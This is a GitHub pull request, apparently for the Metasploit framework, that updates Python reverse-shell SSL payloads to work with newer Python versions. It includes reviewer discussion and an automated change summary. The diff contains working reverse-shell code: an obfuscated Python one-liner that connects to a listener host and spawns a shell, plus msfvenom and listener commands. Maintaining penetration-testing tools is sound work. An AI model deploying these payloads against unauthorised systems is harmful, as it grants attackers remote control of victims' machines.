Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303
Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303jeanmtr wants to merge 1 commit into
Conversation
| raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")" | ||
| cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}") | ||
| if datastore['PythonPath'].blank? | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -" |
There was a problem hiding this comment.
What does the hyphen removal do?
There was a problem hiding this comment.
tldr : it does not do anything i will put it back
in #21168 i received this comment hinting at the fact that the hyphen might have been unnecessary. After testing, i could not find a use case where it changed anything so i removed it.
I removed it in this PR for consistency but i forgot that my previous pr was merged without those changes due to problems with github (i had to reopen the PR on another account) therefore it is not consistent and i will put it back.
| include Msf::Payload::Python::ReverseTcp | ||
| def initialize(*args) | ||
| super | ||
| register_advanced_options(Msf::Opt::stager_retry_options) |
There was a problem hiding this comment.
Is there a reason for this? The double colon :: appears to be the standard?
There was a problem hiding this comment.
I got this warning when running rubocop on the file : lib/msf/core/payload/python/reverse_tcp_ssl.rb:17:39: C: [Correctable] Style/ColonMethodCall: Do not use :: for method calls. register_advanced_options(Msf::Opt::stager_retry_options) so i applied the autofix, should i revert it to how it was initially ?
|
I squashed commits into one because I had issues with git, sorry for the inconvenience. |
There was a problem hiding this comment.
Pull request overview
Updates Python-based reverse SSL payload generators to avoid ssl.wrap_socket() (removed in newer Python, e.g., 3.14) by preferring SSLContext.wrap_socket() when available, while aiming to preserve legacy Python compatibility.
Changes:
- Switch SSL socket creation to
SSLContext(PROTOCOL_TLS_CLIENT).wrap_socket()when supported, with a fallback tossl.wrap_socket()for older Python. - Update the Python reverse TCP SSL stager generator to use the new wrapping logic and consistently use the wrapped socket variable.
- Minor cleanup of the
PythonPathinvocation spacing inreverse_python.
Impact Analysis:
- Blast radius: medium; affects multiple shipped payloads/stagers that generate Python reverse SSL connections (directly impacts users generating these payloads and handlers receiving them).
- Data and contract effects: no schema/payload-contract changes identified beyond runtime behavior of TLS socket setup and connection establishment.
- Rollback and test focus: rollback is straightforward (revert payload generator changes); focus testing on session establishment across Python 2.7.x, older 3.x, and 3.14+, ensuring only a single outbound connection is made and TLS negotiation succeeds.
Reviewed changes
Copilot reviewed 3 out of 4 changed files in this pull request and generated 1 comment.
| File | Description |
|---|---|
| modules/payloads/singles/python/shell_reverse_tcp_ssl.rb | Updates Python SSL wrapping logic for the single reverse SSL shell payload. |
| modules/payloads/singles/cmd/unix/reverse_python.rb | Fixes spacing in PythonPath invocation for the non-SSL reverse Python cmd payload. |
| modules/payloads/singles/cmd/unix/reverse_python_ssl.rb | Updates cmd payload’s embedded Python to use SSLContext.wrap_socket() when available. |
| lib/msf/core/payload/python/reverse_tcp_ssl.rb | Updates the Python reverse TCP SSL stager generator to use SSLContext.wrap_socket() when available. |
| so=s.socket(s.AF_INET,s.SOCK_STREAM) | ||
| so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) | ||
| so=ssl.wrap_socket(so) | ||
| import socket,subprocess,os,ssl | ||
| so=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | ||
| so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) |
Fixes #21301
Changes
python/meterpreter/reverse_tcp_ssl,cmd/unix/reverse_python_sslandpython/shell_reverse_tcp_sslto useSSLContext.wrap_socket()instead ofssl.wrap_socket(). However since the protocols that can be used in version 3.14 and 2.7.18 are not the same, i cannot usessl.PROTOCOL_TLS_CLIENTfor both. Instead, we check if ssl.PROTOCOL_TLS_CLIENT exists and if not, we use ssl.wrap_socket the old way. There is probably a better solution but i cannot find it. One other thing that could work is to usessl.PROTOCOL_TLSv1_2which existe both on 2.7.18 and on 3.14 (and in version in between) but it is marked as deprecated therefore it is not really future proof.Verification
For
cmd/unix/reverse_python_sslopenssl s_server -accept 4444 -cert server.crt -key server.key -quietpyenv local [version])msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]For
python/shell_reverse_tcp_sslopenssl s_server -accept 4444 -cert server.crt -key server.key -quietpyenv local [version])msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]For
python/meterpreter/reverse_tcp_ssl(on the host)
(on the attacked machine)
pyenv local [version])msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]